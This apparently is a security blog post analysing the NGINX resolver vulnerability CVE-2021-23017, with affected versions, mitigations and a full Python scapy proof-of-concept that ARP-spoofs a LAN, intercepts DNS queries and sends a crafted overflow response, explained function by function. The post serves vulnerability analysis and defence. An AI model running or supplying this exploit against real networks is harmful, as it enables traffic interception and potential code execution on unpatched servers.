Is CVE-2021-23017 remotely exploitable?
Posted on May 20, 2024 • 7 minutes • 1349 words
Table of contents
CVE-2021-23017 is a critical vulnerability in the NGINX resolver that can lead to a buffer overflow, allowing for potential remote code execution (RCE). This vulnerability affects NGINX when it is configured to use a resolver with DNS server responses.
Conditions for CVE-2021-23017
-
NGINX Version:
- The vulnerability affects NGINX versions 0.6.18 through 1.20.0.
-
NGINX Configuration:
- NGINX must be configured to use the
resolver
directive. This directive specifies the IP address of the DNS server that NGINX should use to resolve domain names. - The
resolver
directive is typically used in configurations for DNS-based service discovery, dynamic upstreams, or when using NGINX with server names that require DNS resolution.
- NGINX must be configured to use the
-
DNS Response Handling:
- The vulnerability is triggered by specially crafted DNS responses. An attacker could exploit this vulnerability by sending a malicious DNS response to NGINX, causing a buffer overflow and potentially allowing arbitrary code execution.
-
Network Exposure:
- The attacker needs to have the ability to control or spoof DNS responses sent to the NGINX server. This might require being on the same network or having the ability to perform a DNS spoofing attack.
Example Configuration
A vulnerable configuration might look like this:
http {
resolver 1.1.1.1; # Public DNS server (Cloudflare)
server {
listen 80;
location / {
proxy_pass http://example.com;
}
}
}
In this example, NGINX is configured to use Cloudflare’s public DNS server (1.1.1.1) for DNS resolution. If an attacker can send a malicious DNS response, they could exploit CVE-2021-23017.
Mitigation and Fixes
-
Upgrade NGINX:
- Upgrade to NGINX version 1.21.0 or later, where the vulnerability has been fixed.
-
Configure DNS Security:
- Ensure that your DNS infrastructure is secure and that DNS responses are coming from trusted sources.
- Implement DNS security measures such as DNSSEC to help protect against DNS spoofing attacks.
-
Minimize Use of Resolver Directive:
- Only use the
resolver
directive when absolutely necessary. Avoid using it in configurations where it is not needed.
- Only use the
-
Monitor and Patch Regularly:
- Regularly monitor your systems for vulnerabilities and apply security patches promptly.
Understanding POC
POC is availabale here .
Overview of the PoC
The PoC aims to exploit a buffer overflow vulnerability in the NGINX resolver. The script performs an ARP spoofing attack to intercept DNS requests from the target and then sends a malicious DNS response to exploit the vulnerability.
Breakdown of the Code
Imports and Setup
from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os
- scapy: A Python library used for packet manipulation.
- multiprocessing: To handle ARP spoofing and DNS exploitation simultaneously.
- binascii: For converting binary data to ASCII and vice versa.
- argparse: For parsing command-line arguments.
- os: To execute system commands.
Device Setup
def device_setup():
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")
- Enables IP forwarding to allow packet forwarding.
- Sets up an iptables rule to drop UDP packets on port 53 (DNS) to prevent normal DNS traffic from interfering with the attack.
ARP Spoofing
def ARPP(target, dns_server):
print("[*] Sending poisoned ARP packets")
target_mac = getmacbyip(target)
dns_server_mac = getmacbyip(dns_server)
while True:
time.sleep(2)
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)
- getmacbyip: Gets the MAC address for the given IP address.
- send(ARP(…)): Sends ARP reply packets to poison the ARP cache of the target and DNS server, making them believe the attacker’s MAC address is associated with the other’s IP address.
DNS Exploit Listener
def exploit(target):
print("[*] Listening ")
sniff(filter="udp and port 53 and host " + target, prn=process_received_packet)
- sniff: Listens for UDP packets on port 53 (DNS) from the target.
Processing Received Packets
def process_received_packet(received_packet):
if received_packet[IP].src == target_ip:
if received_packet.haslayer(DNS):
if DNSQR in received_packet:
print("[*] the received packet: " + str(bytes_hex(received_packet)))
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
try:
dns_request = received_packet[DNS].build()
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
payload = [
dns_request[0:2],
b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
dns_request[12:null_pointer_index+1],
dns_request[null_pointer_index+1:null_pointer_index+3],
dns_request[null_pointer_index+3:null_pointer_index+5],
b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
]
payload = b"".join(payload)
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\
payload)
print("[+] dns answer: "+str(hexlify(payload)))
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))
sendp(spoofed_pkt, count=1)
print("\n[+] malicious answer was sent")
print("[+] exploited\n")
except:
print("\n[-] ERROR")
- DNSQR: Checks if the packet has a DNS query.
- dns_request: Extracts the DNS request from the received packet.
- payload: Constructs the malicious DNS response payload.
- spoofed_pkt: Creates a spoofed packet with the malicious payload.
- sendp(spoofed_pkt): Sends the spoofed packet.
Main Function
def main():
global target_ip
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="IP address of the target")
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
args = parser.parse_args()
target_ip = args.target
dns_server_ip = args.dns_server
device_setup()
processes_list = []
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
exploitProcess = Process(target=exploit,args=(target_ip,))
processes_list.append(ARPPProcess)
processes_list.append(exploitProcess)
for process in processes_list:
process.start()
for process in processes_list:
process.join()
if __name__ == '__main__':
target_ip = ""
main()
- argparse: Parses command-line arguments to get the target and DNS server IP addresses.
- device_setup(): Configures the device for the attack.
- Process: Creates and starts two processes, one for ARP spoofing and one for exploiting the DNS vulnerability.
Summary
This PoC script performs an ARP spoofing attack to intercept DNS traffic from a target machine and sends a malicious DNS response to exploit CVE-2021-23017 in NGINX. The malicious response is designed to trigger a buffer overflow, potentially allowing remote code execution. The script requires setting up the environment, parsing command-line arguments, and running two concurrent processes for ARP spoofing and DNS exploitation.
Network Conditions for the Attack
The provided PoC script can be used for a remote attack but requires the attacker to be on the same local network as the target machine.
-
Local Network Access:
- The script relies on ARP spoofing (also known as ARP poisoning), which is a type of attack that manipulates the ARP cache of devices on a local network. This means the attacker must be on the same local network as the target machine and the DNS server that the target uses.
-
DNS Spoofing:
- The script listens for DNS requests from the target machine and sends a malicious DNS response to exploit the vulnerability. This kind of interception and injection is feasible if the attacker can control or influence the DNS traffic, which typically requires being on the same local network.
Summary of Attack Steps
-
ARP Spoofing:
- The attacker sends ARP packets to the target machine and the DNS server, tricking them into associating the attacker’s MAC address with the other’s IP address. This allows the attacker to intercept and modify the DNS traffic between the target and the DNS server.
-
DNS Spoofing and Exploitation:
- Once the attacker is in the middle of the DNS communication, they listen for DNS requests from the target machine.
- When a DNS request is detected, the attacker crafts and sends a malicious DNS response designed to exploit CVE-2021-23017 in NGINX, potentially causing a buffer overflow and enabling remote code execution.
Remote Attack Considerations
-
Local Network Presence:
- The attack is remote in the sense that it does not require physical access to the target machine, but it does require network-level access within the same local network. This is common in scenarios like public Wi-Fi networks, corporate LANs, or other shared network environments.
-
Potential for Broader Attacks:
- If an attacker can gain access to the local network via other means (e.g., exploiting a vulnerable device on the network, social engineering, or gaining physical access to the network), they could then use this script to exploit NGINX on another machine on the same network.
Limitations
-
Not Over the Internet:
- This script cannot be used directly over the internet without additional steps because ARP spoofing and direct manipulation of local network traffic require proximity to the target.
-
Network Segmentation:
- Networks that implement proper segmentation, isolation, and security measures (e.g., VLANs, firewalls, IDS/IPS) can mitigate the risk of such local network-based attacks.
Conclusion
The provided PoC script is designed for use in a local network environment where the attacker has the ability to perform ARP spoofing and intercept DNS traffic. It is not suitable for a purely remote attack over the internet without local network access. However, once an attacker has gained access to the local network, they can use this script to exploit vulnerable NGINX instances on that network.
Share
Tags
Counters